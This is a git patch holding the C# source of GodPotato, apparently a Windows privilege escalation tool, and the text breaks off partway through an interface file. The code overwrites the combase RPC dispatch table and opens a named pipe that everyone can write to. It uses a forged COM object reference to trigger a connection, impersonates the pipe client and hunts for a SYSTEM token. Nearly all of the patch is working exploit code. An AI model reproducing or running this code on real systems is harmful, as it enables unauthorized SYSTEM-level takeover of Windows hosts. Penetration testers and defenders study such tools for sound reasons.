From 33ceaef41191dd142ee63cd856ef2c5f73eaa679 Mon Sep 17 00:00:00 2001 From: beichen <43266206+BeichenDream@users.noreply.github.com> Date: Sat, 24 Dec 2022 00:50:51 +0800 Subject: [PATCH] upload code --- ArgsParse.cs | 212 ++++ GodPotato.csproj | 55 + NativeAPI/GodPotatoContext.cs | 397 ++++++++ NativeAPI/GodPotatoStorageTrigger.cs | 147 +++ NativeAPI/IEnumSTATSTG.cs | 21 + NativeAPI/ILockBytes.cs | 23 + NativeAPI/IMarshal.cs | 22 + NativeAPI/IStorage.cs | 40 + NativeAPI/IStream.cs | 20 + NativeAPI/NativeMethods.cs | 273 +++++ NativeAPI/ObjRef.cs | 234 +++++ Program.cs | 150 +++ Properties/AssemblyInfo.cs | 36 + SharpToken.cs | 1417 ++++++++++++++++++++++++++ 14 files changed, 3047 insertions(+) create mode 100644 ArgsParse.cs create mode 100644 GodPotato.csproj create mode 100644 NativeAPI/GodPotatoContext.cs create mode 100644 NativeAPI/GodPotatoStorageTrigger.cs create mode 100644 NativeAPI/IEnumSTATSTG.cs create mode 100644 NativeAPI/ILockBytes.cs create mode 100644 NativeAPI/IMarshal.cs create mode 100644 NativeAPI/IStorage.cs create mode 100644 NativeAPI/IStream.cs create mode 100644 NativeAPI/NativeMethods.cs create mode 100644 NativeAPI/ObjRef.cs create mode 100644 Program.cs create mode 100644 Properties/AssemblyInfo.cs create mode 100644 SharpToken.cs diff --git a/ArgsParse.cs b/ArgsParse.cs new file mode 100644 index 0000000..660a039 --- /dev/null +++ b/ArgsParse.cs @@ -0,0 +1,212 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Reflection; +using System.Text; + +namespace GodPotato +{ + internal class ArgsParse + { + [System.AttributeUsage(AttributeTargets.Property, Inherited = false, AllowMultiple = true)] + public sealed class ArgsAttribute : Attribute + { + public string FieldName { get; set; } + public string DefaultValue { get; set; } + public bool Required { get; set; } + public string Description { get; set; } + public ArgsAttribute(string FieldName, string DefaultValue) + { + this.FieldName = FieldName; + this.DefaultValue = DefaultValue; + } + } + + protected static void ParseArgsSetValue(object obj, PropertyInfo propertyInfo, string value) + { + Type propertyType = propertyInfo.PropertyType; + object valueObj = null; + if (propertyType.IsPrimitive) + { + MethodInfo methodInfo = propertyType.GetMethod("Parse", new Type[] { typeof(string) }); + methodInfo.Invoke(null, new object[] { valueObj }); + } + else if (propertyType == typeof(string)) + { + valueObj = value; + } + else if (propertyType == typeof(string[])) + { + string[] values = value.Split(','); + valueObj = values; + } + else if (propertyType == typeof(byte[])) + { + valueObj = Convert.FromBase64String(value); + } + else if (propertyType.IsArray && propertyType.GetElementType().IsPrimitive) + { + Type elementType = propertyType.GetElementType(); + string[] strValues = value.Split(','); + List values = new List(); + MethodInfo methodInfo = elementType.GetMethod("Parse", new Type[] { typeof(string) }); + + foreach (var str in strValues) + { + if (str.Contains("-")) + { + string[] strRanges = str.Split('-'); + long startRange = long.Parse(strRanges[0]); + long stopRange = long.Parse(strRanges[1]); + for (long i = startRange; i <= stopRange; i++) + { + values.Add((methodInfo.Invoke(null, new object[] { i.ToString() }))); + } + } + else + { + values.Add(methodInfo.Invoke(null, new object[] { str })); + } + } + Array array = Array.CreateInstance(elementType, values.Count); + for (int i = 0; i < values.Count; i++) + { + array.SetValue(values[i], i); + } + valueObj = array; + } + + propertyInfo.SetValue(obj, valueObj, null); + + } + public static T ParseArgs(string[] args) + { + Type type = typeof(T); + Type argsAttributeType = typeof(ArgsAttribute); + object value = type.GetConstructor(new Type[0]).Invoke(new object[0]); + PropertyInfo[] propertyInfos = type.GetProperties(); + Dictionary propertyInfoDict = new Dictionary(); + List requiredPropertyList = new List(); + foreach (PropertyInfo propertyInfo in propertyInfos) + { + ArgsAttribute argsAttribute = (ArgsAttribute)Attribute.GetCustomAttribute(propertyInfo, argsAttributeType); + if (argsAttribute != null) + { + string attributeLower = argsAttribute.FieldName.ToLower(); + if (argsAttribute.Required) + { + requiredPropertyList.Add(attributeLower); + } + propertyInfoDict.Add(attributeLower, propertyInfo); + ParseArgsSetValue(value, propertyInfo, argsAttribute.DefaultValue); + } + } + + for (int i = 0; i < args.Length; i++) + { + string currentArg = args[i]; + if (currentArg.StartsWith("-")) + { + string currentArgName = currentArg.Substring(1).ToLower(); + if ((i + 1 < args.Length)) + { + i++; + string currentArgValue = args[i]; + + PropertyInfo propertyInfo; + if (propertyInfoDict.TryGetValue(currentArgName, out propertyInfo)) + { + ParseArgsSetValue(value, propertyInfo, currentArgValue); + requiredPropertyList.Remove(currentArgName); + } + } + } + } + + if (requiredPropertyList.Count > 0) + { + throw new Exception($"Required Parameter {string.Join(",", requiredPropertyList.ToArray())}"); + } + + return (T)value; + } + public static string PrintHelp(Type type,string head,string appName, string[] examples) {; + Type argsAttributeType = typeof(ArgsAttribute); + object value = type.GetConstructor(new Type[0]).Invoke(new object[0]); + PropertyInfo[] propertyInfos = type.GetProperties(); + List propertyInfoList = new List(); + List requiredPropertyList = new List(); + foreach (PropertyInfo propertyInfo in propertyInfos) + { + ArgsAttribute argsAttribute = (ArgsAttribute)Attribute.GetCustomAttribute(propertyInfo, argsAttributeType); + if (argsAttribute != null) + { + propertyInfoList.Add(argsAttribute); + if (argsAttribute.Required) + { + requiredPropertyList.Add(argsAttribute); + } + } + } + + StringWriter stringBuilder = new StringWriter(); + stringBuilder.WriteLine(head); + stringBuilder.WriteLine(); + stringBuilder.WriteLine("Arguments:"); + stringBuilder.WriteLine(); + foreach (var argsAttribute in propertyInfoList) + { + stringBuilder.WriteLine("\t-{0} Required:{1} {2} (default {3})", argsAttribute.FieldName, argsAttribute.Required, argsAttribute.Description, argsAttribute.DefaultValue); + } + stringBuilder.WriteLine(); + stringBuilder.WriteLine("Example:"); + stringBuilder.WriteLine(); + foreach (string example in examples) + { + stringBuilder.WriteLine(example); + } + + + + if (requiredPropertyList.Count > 0) + { + string requiredExample = ""; + requiredExample = appName + " "; + foreach (ArgsAttribute argsAttribute in requiredPropertyList) + { + if (argsAttribute.DefaultValue.Contains(" ") || argsAttribute.DefaultValue.Contains("\t") || argsAttribute.DefaultValue.Contains("\r")) + { + requiredExample += string.Format("-{0} \"{1}\" ", argsAttribute.FieldName, argsAttribute.DefaultValue); + } + else + { + requiredExample += string.Format("-{0} {1} ", argsAttribute.FieldName, argsAttribute.DefaultValue); + } + } + stringBuilder.WriteLine(requiredExample); ; + } + + if (propertyInfoList.Count > 0) + { + string allParameterExample = ""; + allParameterExample = appName + " "; + foreach (ArgsAttribute argsAttribute in propertyInfoList) + { + if (argsAttribute.DefaultValue.Contains(" ") || argsAttribute.DefaultValue.Contains("\t") || argsAttribute.DefaultValue.Contains("\r")) + { + allParameterExample += string.Format("-{0} \"{1}\" ", argsAttribute.FieldName, argsAttribute.DefaultValue); + } + else + { + allParameterExample += string.Format("-{0} {1} ", argsAttribute.FieldName, argsAttribute.DefaultValue); + } + } + stringBuilder.WriteLine(allParameterExample); ; + } + + + + return stringBuilder.ToString(); + } + } +} diff --git a/GodPotato.csproj b/GodPotato.csproj new file mode 100644 index 0000000..022bcd6 --- /dev/null +++ b/GodPotato.csproj @@ -0,0 +1,55 @@ + + + + + Debug + AnyCPU + {2AE886C3-3272-40BE-8D3C-EBAEDE9E61E1} + Exe + GodPotato + GodPotato + v2.0 + 512 + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/NativeAPI/GodPotatoContext.cs b/NativeAPI/GodPotatoContext.cs new file mode 100644 index 0000000..8da5ee5 --- /dev/null +++ b/NativeAPI/GodPotatoContext.cs @@ -0,0 +1,397 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Text; +using System.Threading; +using static GodPotato.NativeAPI.NativeMethods; + +namespace GodPotato.NativeAPI +{ + public class GodPotatoContext + { + private static readonly Guid orcbRPCGuid = new Guid("18f70770-8e64-11cf-9af1-0020af6e72f4"); + public IntPtr CombaseModule { get; private set; } + public IntPtr DispatchTablePtr { get; private set; } + public IntPtr UseProtseqFunctionPtr { get; private set; } = IntPtr.Zero; + public uint UseProtseqFunctionParamCount { get; private set; } = 0xffffff; + + private NewOrcbRPC newOrcbRPC; + private IntPtr[] dispatchTable = null; + private short[] fmtStringOffsetTable = null; + private IntPtr procString = IntPtr.Zero; + private Delegate useProtseqDelegate; + private WindowsIdentity systemIdentity; + private TextWriter ConsoleWriter; + private Thread pipeServerThread; + public string PipeName { get; set; } + public bool IsStart { get; private set; } + public bool IsHook { get; private set; } + + public GodPotatoContext(TextWriter consoleWriter, string pipeName) + { + this.PipeName = pipeName; + this.newOrcbRPC = new NewOrcbRPC(this); + this.ConsoleWriter = consoleWriter; + + InitContext(); + + if (CombaseModule == IntPtr.Zero) + { + throw new Exception("No combase module found"); + } + else if (dispatchTable == null || procString == IntPtr.Zero || UseProtseqFunctionPtr == IntPtr.Zero) + { + throw new Exception("Cannot find IDL structure"); + } + + + string delegateFunName = "delegateFun" + UseProtseqFunctionParamCount; + string funName = "fun" + UseProtseqFunctionParamCount; + + Type delegateFunType = typeof(NewOrcbRPC).GetNestedType(delegateFunName, System.Reflection.BindingFlags.Public); + + this.useProtseqDelegate = Delegate.CreateDelegate(delegateFunType, newOrcbRPC, funName); + + } + + protected void InitContext() { + ProcessModuleCollection processModules = Process.GetCurrentProcess().Modules; + foreach (ProcessModule processModule in processModules) + { + if (processModule.ModuleName != null && processModule.ModuleName.ToLower() == "combase.dll") + { + CombaseModule = processModule.BaseAddress; + + MemoryStream patternStream = new MemoryStream(); + + BinaryWriter binaryWriter = new BinaryWriter(patternStream); + binaryWriter.Write(Marshal.SizeOf(typeof(RPC_SERVER_INTERFACE))); + binaryWriter.Write(orcbRPCGuid.ToByteArray()); + binaryWriter.Flush(); + + byte[] dllContent = new byte[processModule.ModuleMemorySize]; + Marshal.Copy(processModule.BaseAddress, dllContent, 0, dllContent.Length); + + var s = Sunday.Search(dllContent, patternStream.ToArray()); + + + RPC_SERVER_INTERFACE rpcServerInterface = (RPC_SERVER_INTERFACE)Marshal.PtrToStructure(new IntPtr(processModule.BaseAddress.ToInt64() + s[0]), typeof(RPC_SERVER_INTERFACE)); + RPC_DISPATCH_TABLE rpcDispatchTable = (RPC_DISPATCH_TABLE)Marshal.PtrToStructure(rpcServerInterface.DispatchTable, typeof(RPC_DISPATCH_TABLE)); + MIDL_SERVER_INFO midlServerInfo = (MIDL_SERVER_INFO)Marshal.PtrToStructure(rpcServerInterface.InterpreterInfo, typeof(MIDL_SERVER_INFO)); + DispatchTablePtr = midlServerInfo.DispatchTable; + IntPtr fmtStringOffsetTablePtr = midlServerInfo.FmtStringOffset; + procString = midlServerInfo.ProcString; + dispatchTable = new IntPtr[rpcDispatchTable.DispatchTableCount]; + fmtStringOffsetTable = new short[rpcDispatchTable.DispatchTableCount]; + + for (int i = 0; i < dispatchTable.Length; i++) + { + dispatchTable[i] = Marshal.ReadIntPtr(DispatchTablePtr, i * IntPtr.Size); + } + + for (int i = 0; i < fmtStringOffsetTable.Length; i++) + { + fmtStringOffsetTable[i] = Marshal.ReadInt16(fmtStringOffsetTablePtr, i * Marshal.SizeOf(typeof(short))); + } + UseProtseqFunctionPtr = dispatchTable[0]; + UseProtseqFunctionParamCount = Marshal.ReadByte(procString, fmtStringOffsetTable[0] + 19); + } + } + + } + + protected void PipeServer() + { + IntPtr pipeServerHandle = NativeMethods.BAD_HANLE; + + IntPtr securityDescriptor; + uint securityDescriptorSize; + + ConvertStringSecurityDescriptorToSecurityDescriptor("D:(A;OICI;GA;;;WD)", 1, out securityDescriptor, out securityDescriptorSize); + + try + { + + string serverPipe = $"\\\\.\\pipe\\{PipeName}\\pipe\\epmapper"; + SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES(); + securityAttributes.pSecurityDescriptor = securityDescriptor; + securityAttributes.nLength = Marshal.SizeOf(typeof(SECURITY_ATTRIBUTES)); + pipeServerHandle = CreateNamedPipe(serverPipe, NativeMethods.PIPE_ACCESS_DUPLEX, NativeMethods.PIPE_TYPE_BYTE | NativeMethods.PIPE_READMODE_BYTE | NativeMethods.PIPE_WAIT, NativeMethods.PIPE_UNLIMITED_INSTANCES, 521, 0, 123, ref securityAttributes); + + ConsoleWriter.WriteLine("[*] CreateNamedPipe " + serverPipe); + if (pipeServerHandle != NativeMethods.BAD_HANLE) + { + + if (ConnectNamedPipe(pipeServerHandle, IntPtr.Zero)) + { + if (NativeMethods.ImpersonateNamedPipeClient(pipeServerHandle)) + { + systemIdentity = WindowsIdentity.GetCurrent(); + ConsoleWriter.WriteLine("[*] CurrentUser: " + systemIdentity.Name); + + ConsoleWriter.WriteLine("[*] Start Search System Token"); + + bool isFindSystemToken = false; + + SharpToken.TokenuUils.ListProcessTokens(-1, processToken => { + if (processToken.UserName == "NT AUTHORITY\\SYSTEM") + { + systemIdentity = new WindowsIdentity(processToken.TokenHandle); + ConsoleWriter.WriteLine("[*] PID : {0} Token:0x{1:x} User: {2}", processToken.TargetProcessId, processToken.TargetProcessToken, processToken.UserName); + isFindSystemToken = true; + processToken.Close(); + return false; + } + processToken.Close(); + return true; + }); + + ConsoleWriter.WriteLine("[*] Find System Token : " + isFindSystemToken); + + RevertToSelf(); + } + else + { + ConsoleWriter.WriteLine($"[!] ImpersonateNamedPipeClient fail error:{Marshal.GetLastWin32Error()}"); + } + } + else + { + ConsoleWriter.WriteLine("[!] ConnectNamedPipe timeout"); + } + + } + else + { + ConsoleWriter.WriteLine($"[!] CreateNamedPipe fail error:{Marshal.GetLastWin32Error()}"); + } + } + catch (Exception e) + { + ConsoleWriter.WriteLine("[!] " + e.Message); + } + finally + { + if (pipeServerHandle != NativeMethods.BAD_HANLE) + { + NativeMethods.CloseHandle(pipeServerHandle); + } + + } + return; + } + + public void Start() { + if (IsHook && !IsStart) + { + pipeServerThread = new Thread(PipeServer); + pipeServerThread.IsBackground = true; + pipeServerThread.Start(); + IsStart = true; + } + else + { + throw new Exception("IsHook == false"); + } + + } + + public void HookRPC() + { + uint old; + VirtualProtect(DispatchTablePtr, (uint)(IntPtr.Size * dispatchTable.Length), 0x04, out old); + Marshal.WriteIntPtr(DispatchTablePtr, Marshal.GetFunctionPointerForDelegate(useProtseqDelegate)); + IsHook = true; + } + public void Restore() + { + if (IsHook) + { + Marshal.WriteIntPtr(DispatchTablePtr, UseProtseqFunctionPtr); + } + else + { + throw new Exception("IsHook == false"); + } + } + public void Stop() + { + if (IsStart) + { + if (pipeServerThread.IsAlive) + { + pipeServerThread.Interrupt(); + pipeServerThread.Abort(); + } + IsStart = false; + } + else + { + throw new Exception("IsStart == false"); + } + } + + public WindowsIdentity GetToken() { + return systemIdentity; + } + + } + + class NewOrcbRPC + { + private GodPotatoContext godPotatoContext; + public NewOrcbRPC(GodPotatoContext godPotatoContext) + { + this.godPotatoContext = godPotatoContext; + } + public int fun(IntPtr ppdsaNewBindings, IntPtr ppdsaNewSecurity) + { + string[] endpoints = { $"ncacn_np:localhost/pipe/{godPotatoContext.PipeName}[\\pipe\\epmapper]", "ncacn_ip_tcp:fuck you !" }; + + int entrieSize = 3; + for (int i = 0; i < endpoints.Length; i++) + { + entrieSize += endpoints[i].Length; + entrieSize++; + } + + int memroySize = entrieSize * 2 + 10; + + IntPtr pdsaNewBindings = Marshal.AllocHGlobal(memroySize); + + for (int i = 0; i < memroySize; i++) + { + Marshal.WriteByte(pdsaNewBindings, i, 0x00); + } + + int offset = 0; + + Marshal.WriteInt16(pdsaNewBindings, offset, (short)entrieSize); + offset += 2; + Marshal.WriteInt16(pdsaNewBindings, offset, (short)(entrieSize - 2)); + offset += 2; + + for (int i = 0; i < endpoints.Length; i++) + { + string endpoint = endpoints[i]; + for (int j = 0; j < endpoint.Length; j++) + { + Marshal.WriteInt16(pdsaNewBindings, offset, (short)endpoint[j]); + offset += 2; + } + offset += 2; + } + Marshal.WriteIntPtr(ppdsaNewBindings, pdsaNewBindings); + + return 0; + } + public delegate int delegateFun4(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3); + public delegate int delegateFun5(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4); + public delegate int delegateFun6(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5); + public delegate int delegateFun7(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5, IntPtr p6); + public delegate int delegateFun8(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5, IntPtr p6, IntPtr p7); + public delegate int delegateFun9(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5, IntPtr p6, IntPtr p7, IntPtr p8); + public delegate int delegateFun10(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5, IntPtr p6, IntPtr p7, IntPtr p8, IntPtr p9); + public delegate int delegateFun11(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5, IntPtr p6, IntPtr p7, IntPtr p8, IntPtr p9, IntPtr p10); + public delegate int delegateFun12(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5, IntPtr p6, IntPtr p7, IntPtr p8, IntPtr p9, IntPtr p10, IntPtr p11); + public delegate int delegateFun13(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5, IntPtr p6, IntPtr p7, IntPtr p8, IntPtr p9, IntPtr p10, IntPtr p11, IntPtr p12); + public delegate int delegateFun14(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5, IntPtr p6, IntPtr p7, IntPtr p8, IntPtr p9, IntPtr p10, IntPtr p11, IntPtr p12, IntPtr p13); + public int fun4(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3) + { + return fun(p2, p3); + } + public int fun5(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4) + { + return fun(p3, p4); + } + public int fun6(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5) + { + return fun(p4, p5); + } + public int fun7(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5, IntPtr p6) + { + return fun(p5, p6); + } + public int fun8(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5, IntPtr p6, IntPtr p7) + { + return fun(p6, p7); + } + public int fun9(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5, IntPtr p6, IntPtr p7, IntPtr p8) + { + return fun(p7, p8); + } + public int fun10(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5, IntPtr p6, IntPtr p7, IntPtr p8, IntPtr p9) + { + return fun(p8, p9); + } + public int fun11(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5, IntPtr p6, IntPtr p7, IntPtr p8, IntPtr p9, IntPtr p10) + { + return fun(p9, p10); + } + public int fun12(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5, IntPtr p6, IntPtr p7, IntPtr p8, IntPtr p9, IntPtr p10, IntPtr p11) + { + return fun(p10, p11); + } + public int fun13(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5, IntPtr p6, IntPtr p7, IntPtr p8, IntPtr p9, IntPtr p10, IntPtr p11, IntPtr p12) + { + return fun(p11, p12); + } + public int fun14(IntPtr p0, IntPtr p1, IntPtr p2, IntPtr p3, IntPtr p4, IntPtr p5, IntPtr p6, IntPtr p7, IntPtr p8, IntPtr p9, IntPtr p10, IntPtr p11, IntPtr p12, IntPtr p13) + { + return fun(p12, p13); + } + + + } + class Sunday + { + private static int ALPHA_BET = 512; + + private static int[] ComputeOccurence(byte[] pattern) + { + int[] table = new int[ALPHA_BET]; + for (char a = (char)0; a < (char)ALPHA_BET; a++) + { + table[a] = -1; + } + + for (int i = 0; i < pattern.Length; i++) + { + byte a = pattern[i]; + table[a] = i; + } + return table; + } + + public static List Search(byte[] text, byte[] pattern) + { + List matchs = new List(); + + int i = 0; + int[] table = ComputeOccurence(pattern); + while (i <= text.Length - pattern.Length) + { + int j = 0; + while (j < pattern.Length && text[i + j] == pattern[j]) + { + j++; + } + if (j == pattern.Length) + { + matchs.Add(i); + } + i += pattern.Length; + if (i < text.Length) + { + i -= table[text[i]]; + } + } + return matchs; + } + } + +} diff --git a/NativeAPI/GodPotatoStorageTrigger.cs b/NativeAPI/GodPotatoStorageTrigger.cs new file mode 100644 index 0000000..0e5c0cf --- /dev/null +++ b/NativeAPI/GodPotatoStorageTrigger.cs @@ -0,0 +1,147 @@ +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Runtime.InteropServices.ComTypes; +using GodPotato.NativeAPI; + +namespace GodPotato.NativeAPI{ + + + + [ComVisible(true)] + public class GodPotatoStorageTrigger : IMarshal, IStorage { + private readonly static Guid IID_IUnknown = new Guid("{00000000-0000-0000-C000-000000000046}"); + private readonly static string binding = "127.0.0.1"; + private readonly static TowerProtocol towerProtocol = TowerProtocol.EPM_PROTOCOL_TCP; + + + public readonly static object fakeObject = new object(); + public static IntPtr pIUnknown; + public static IBindCtx bindCtx; + public static IMoniker moniker; + + + private IStorage storage; + private GodPotatoContext godPotatoContext; + + + public GodPotatoStorageTrigger(IStorage storage, GodPotatoContext godPotatoContext) { + this.storage = storage; + this.godPotatoContext = godPotatoContext; + + + if (!godPotatoContext.IsStart) + { + throw new Exception("GodPotatoContext was not initialized"); + } + + if (pIUnknown == IntPtr.Zero) + { + pIUnknown = Marshal.GetIUnknownForObject(fakeObject); + } + + if (bindCtx == null) + { + NativeMethods.CreateBindCtx(0, out bindCtx); + } + + if (moniker == null) + { + NativeMethods.CreateObjrefMoniker(pIUnknown, out moniker); + } + + } + + public void DisconnectObject(uint dwReserved) { + } + + public void GetMarshalSizeMax(ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS, out uint pSize) { + pSize = 1024; + } + + public void GetUnmarshalClass(ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS, out Guid pCid) { + pCid = new Guid("00000306-0000-0000-c000-000000000046"); + } + + public void MarshalInterface(GodPotato.NativeAPI.IStream pstm, ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS) { + string ppszDisplayName; + moniker.GetDisplayName(bindCtx, null, out ppszDisplayName); + ppszDisplayName = ppszDisplayName.Replace("objref:", "").Replace(":", ""); + byte[] objrefBytes = Convert.FromBase64String(ppszDisplayName); + ObjRef tmpObjRef = new ObjRef(objrefBytes); + ObjRef objRef = new ObjRef(IID_IUnknown, + new ObjRef.Standard(0, 1, tmpObjRef.StandardObjRef.OXID, tmpObjRef.StandardObjRef.OID, tmpObjRef.StandardObjRef.IPID, + new ObjRef.DualStringArray(new ObjRef.StringBinding(towerProtocol, binding), new ObjRef.SecurityBinding(0xa, 0xffff, null)))); + uint written; + byte[] data = objRef.GetBytes(); + pstm.Write(data, (uint)data.Length, out written); + } + + public void ReleaseMarshalData(GodPotato.NativeAPI.IStream pstm) { + } + + public void UnmarshalInterface(GodPotato.NativeAPI.IStream pstm, ref Guid riid, out IntPtr ppv) { + ppv = IntPtr.Zero; + } + + public void Commit(uint grfCommitFlags) { + storage.Commit(grfCommitFlags); + } + + public void CopyTo(uint ciidExclude, Guid[] rgiidExclude, IntPtr snbExclude, IStorage pstgDest) { + storage.CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest); + } + + public void CreateStorage(string pwcsName, uint grfMode, uint reserved1, uint reserved2, out IStorage ppstg) { + storage.CreateStorage(pwcsName, grfMode, reserved1, reserved2, out ppstg); + } + + public void CreateStream(string pwcsName, uint grfMode, uint reserved1, uint reserved2, out GodPotato.NativeAPI.IStream ppstm) { + storage.CreateStream(pwcsName, grfMode, reserved1, reserved2, out ppstm); + } + + public void DestroyElement(string pwcsName) { + storage.DestroyElement(pwcsName); + } + + public void EnumElements(uint reserved1, IntPtr reserved2, uint reserved3, out IEnumSTATSTG ppEnum) { + storage.EnumElements(reserved1, reserved2, reserved3, out ppEnum); + } + + public void MoveElementTo(string pwcsName, IStorage pstgDest, string pwcsNewName, uint grfFlags) { + storage.MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags); + } + + public void OpenStorage(string pwcsName, IStorage pstgPriority, uint grfMode, IntPtr snbExclude, uint reserved, out IStorage ppstg) { + storage.OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, out ppstg); + } + + public void OpenStream(string pwcsName, IntPtr reserved1, uint grfMode, uint reserved2, out GodPotato.NativeAPI.IStream ppstm) { + storage.OpenStream(pwcsName, reserved1, grfMode, reserved2, out ppstm); + } + + public void RenameElement(string pwcsOldName, string pwcsNewName) { + + } + + public void Revert() { + + } + + public void SetClass(ref Guid clsid) { + + } + + public void SetElementTimes(string pwcsName, System.Runtime.InteropServices.FILETIME[] pctime, System.Runtime.InteropServices.FILETIME[] patime, System.Runtime.InteropServices.FILETIME[] pmtime) { + + } + + public void SetStateBits(uint grfStateBits, uint grfMask) { + } + + public void Stat(System.Runtime.InteropServices.STATSTG[] pstatstg, uint grfStatFlag) { + storage.Stat(pstatstg, grfStatFlag); + pstatstg[0].pwcsName = "godpotato.stg"; + } + } +} diff --git a/NativeAPI/IEnumSTATSTG.cs b/NativeAPI/IEnumSTATSTG.cs new file mode 100644 index 0000000..c821879 --- /dev/null +++ b/NativeAPI/IEnumSTATSTG.cs @@ -0,0 +1,21 @@ +using System; +using System.Runtime.InteropServices; + +namespace GodPotato.NativeAPI{ + [ComImport] + [Guid("0000000d-0000-0000-C000-000000000046")] + [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + public interface IEnumSTATSTG { + // The user needs to allocate an STATSTG array whose size is celt. + [PreserveSig] + uint + Next(uint celt, [MarshalAs(UnmanagedType.LPArray), Out] STATSTG[] rgelt, out uint pceltFetched); + + void Skip(uint celt); + + void Reset(); + + [return: MarshalAs(UnmanagedType.Interface)] + IEnumSTATSTG Clone(); + } +} diff --git a/NativeAPI/ILockBytes.cs b/NativeAPI/ILockBytes.cs new file mode 100644 index 0000000..0bd0a45 --- /dev/null +++ b/NativeAPI/ILockBytes.cs @@ -0,0 +1,23 @@ +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Text; + +namespace GodPotato.NativeAPI +{ + [ComVisible(false)] + [ComImport, InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("0000000A-0000-0000-C000-000000000046")] + public interface ILockBytes + { + //Note: These two by(reference 32-bit integers (ULONG) could be used as return values instead, + // but they are not tagged [retval] in the IDL, so for consitency's sake... + void ReadAt(long ulOffset, System.IntPtr pv, int cb, out System.UInt32 pcbRead); + void WriteAt(long ulOffset, System.IntPtr pv, int cb, out System.UInt32 pcbWritten); + void Flush(); + void SetSize(long cb); + void LockRegion(long libOffset, long cb, int dwLockType); + void UnlockRegion(long libOffset, long cb, int dwLockType); + void Stat(out System.Runtime.InteropServices.STATSTG pstatstg, int grfStatFlag); + + } +} diff --git a/NativeAPI/IMarshal.cs b/NativeAPI/IMarshal.cs new file mode 100644 index 0000000..3d4f8e4 --- /dev/null +++ b/NativeAPI/IMarshal.cs @@ -0,0 +1,22 @@ +using System; +using System.Runtime.InteropServices; +using GodPotato.NativeAPI; + +[ComImport] +[Guid("00000003-0000-0000-C000-000000000046")] +[InterfaceType(1)] +[ComConversionLoss] +public interface IMarshal +{ + void GetUnmarshalClass([In] ref Guid riid, [In] IntPtr pv, [In] uint dwDestContext, [In] IntPtr pvDestContext, [In] uint MSHLFLAGS, out Guid pCid); + + void GetMarshalSizeMax([In] ref Guid riid, [In] IntPtr pv, [In] uint dwDestContext, [In] IntPtr pvDestContext, [In] uint MSHLFLAGS, out uint pSize); + + void MarshalInterface([In][MarshalAs(UnmanagedType.Interface)] IStream pstm, [In] ref Guid riid, [In] IntPtr pv, [In] uint dwDestContext, [In] IntPtr pvDestContext, [In] uint MSHLFLAGS); + + void UnmarshalInterface([In][MarshalAs(UnmanagedType.Interface)] IStream pstm, [In] ref Guid riid, out IntPtr ppv); + + void ReleaseMarshalData([In][MarshalAs(UnmanagedType.Interface)] IStream pstm); + + void DisconnectObject([In] uint dwReserved); +} diff --git a/NativeAPI/IStorage.cs b/NativeAPI/IStorage.cs new file mode 100644 index 0000000..a5b0131 --- /dev/null +++ b/NativeAPI/IStorage.cs @@ -0,0 +1,40 @@ +using System; +using System.Runtime.InteropServices; +using GodPotato.NativeAPI; + +[ComImport] +[InterfaceType(1)] +[ComConversionLoss] +[Guid("0000000B-0000-0000-C000-000000000046")] +public interface IStorage +{ + void CreateStream([In][MarshalAs(UnmanagedType.LPWStr)] string pwcsName, [In] uint grfMode, [In] uint reserved1, [In] uint reserved2, [MarshalAs(UnmanagedType.Interface)] out IStream ppstm); + + void OpenStream([In][MarshalAs(UnmanagedType.LPWStr)] string pwcsName, [In] IntPtr reserved1, [In] uint grfMode, [In] uint reserved2, [MarshalAs(UnmanagedType.Interface)] out IStream ppstm); + + void CreateStorage([In][MarshalAs(UnmanagedType.LPWStr)] string pwcsName, [In] uint grfMode, [In] uint reserved1, [In] uint reserved2, 